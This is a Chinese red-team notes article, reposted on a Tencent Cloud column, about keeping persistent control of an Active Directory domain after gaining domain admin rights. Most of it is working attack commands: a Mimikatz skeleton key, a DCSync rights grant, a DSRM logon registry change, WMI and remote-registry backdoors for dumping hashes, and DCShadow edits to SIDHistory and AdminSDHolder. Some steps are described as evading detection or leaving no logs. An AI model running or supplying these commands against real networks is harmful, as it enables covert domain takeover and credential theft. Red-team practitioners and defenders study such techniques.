前往小程序,Get更优阅读体验!
立即前往
首页
学习
活动
专区
工具
TVP
发布
社区首页 >专栏 >红队笔记 - 域渗透攻击

红队笔记 - 域渗透攻击

作者头像
Khan安全团队
发布2021-10-12 14:45:25
7100
发布2021-10-12 14:45:25
举报
文章被收录于专栏:Khan安全团队Khan安全团队

域持久性

必须以DA权限运行

Mimikatz攻击

DC运行为所有用户启用密码 "mimikatz"

代码语言:javascript
复制
privilege::debug
misc::skeleton

使用 PowerView 授予特定用户 DCSync 权限

选择的用户授予 DCSync 的权限,在某些设置中可能会逃避检测。

代码语言:javascript
复制
Add-ObjectACL -TargetDistinguishedName "dc=targetdomain,dc=com" -PrincipalSamAccountName BackdoorUser -Rights DCSync

域控制器 DSRM 管理员

DSRM 管理员是 DC 的本地管理员帐户,需要先启用远程登录。

代码语言:javascript
复制
New-ItemProperty "HKLM:\System\CurrentControlSet\Control\Lsa\" -Name "DsrmAdminLogonBehavior" -Value 2 -PropertyType DWORD

现在我们可以使用之前转储在 DC 上的本地管理哈希远程登录,使用例如“ overpass -the-hash”来获取会话。

修改远程 WMI 访问的安全描述符

使用Nishang 的 Set-RemoteWMI cmdlet授予用户 WMI 访问计算机的权限。可以运行以持久访问例如 DC。

代码语言:javascript
复制
Set-RemoteWMI -UserName BackdoorUser -ComputerName dc.targetdomain.com -namespace 'root\cimv2'

DAMP 修改 DC 注册表安全描述符以进行远程hash检索

使用DAMP工具我们就可以借壳DC注册表来给我们上的访问SAM,SYSTEM以及SECURITY注册表配置单元,这允许我们远程转储 DChash。

代码语言:javascript
复制
Add-RemoteRegBackdoor -ComputerName dc.targetdomain.com -Trustee BackdoorUser

我们使用Add-RemoteRegBackdoor.ps1来自 DAMP的cmdlet添加后门。

代码语言:javascript
复制
# Get machine account hash for silver ticket attack
Get-RemoteMachineAccountHash -ComputerName DC01

# Get local account hashes
Get-RemoteLocalAccountHash -ComputerName DC01

# Get cached credentials (if any)
Get-RemoteCachedCredential -ComputerName DC01

DCShadow

DCShadow是一种攻击,它通过暂时模仿一个域控制器来掩盖某些行动。如果你在一个根域中拥有域管理员或企业管理员的权限,它可以被用于森林级的持久化。

作为域管理员,可以选择给一个选定的用户以DCShadow攻击所需的权限(使用Set-DCShadowPermissions.ps1 cmdlet)

代码语言:javascript
复制
Set-DCShadowPermissions -FakeDC BackdoorMachine -SamAccountName TargetUser -Username BackdoorUser -Verbose

然后,从任何一台机器上使用Mimikatz来进行DCShadow攻击。

代码语言:javascript
复制
# Set SPN for user
lsadump::dcshadow /object:TargetUser /attribute:servicePrincipalName /value:"SuperHacker/ServicePrincipalThingey"

# Set SID History for user (effectively granting them Enterprise Admin rights)
lsadump::dcshadow /object:TargetUser /attribute:SIDHistory /value:S-1-5-21-280534878-1496970234-700767426-519

# Set Full Control permissions on AdminSDHolder container for user
## Requires retrieval of current ACL:
(New-Object System.DirectoryServices.DirectoryEntry("LDAP://CN=AdminSDHolder,CN=System,DC=targetdomain,DC=com")).psbase.ObjectSecurity.sddl

## Then get target user SID:
Get-NetUser -UserName BackdoorUser | select objectsid

## Finally, add full control primitive (A;;CCDCLCSWRPWPLOCRRCWDWO;;;[SID]) for user
lsadump::dcshadow /object:CN=AdminSDHolder,CN=System,DC=targetdomain,DC=com /attribute:ntSecurityDescriptor /value:O:DAG:DAD:PAI(A;;LCRPLORC;;;AU)[...currentACL...](A;;CCDCLCSWRPWPLOCRRCWDWO;;;[[S-1-5-21-1874506631-3219952063-538504511-45109]])

最后,从DA会话或之前提供DCShadow权限的用户会话,运行DCShadow攻击。之前的动作将被执行,不会留下任何日志。

代码语言:javascript
复制
lsadump::dcshadow /push
本文参与 腾讯云自媒体分享计划,分享自微信公众号。
原始发表:2021-10-06,如有侵权请联系 cloudcommunity@tencent.com 删除

本文分享自 Khan安全团队 微信公众号,前往查看

如有侵权,请联系 cloudcommunity@tencent.com 删除。

本文参与 腾讯云自媒体分享计划  ,欢迎热爱写作的你一起参与!

评论
登录后参与评论
0 条评论
热度
最新
推荐阅读
领券
问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档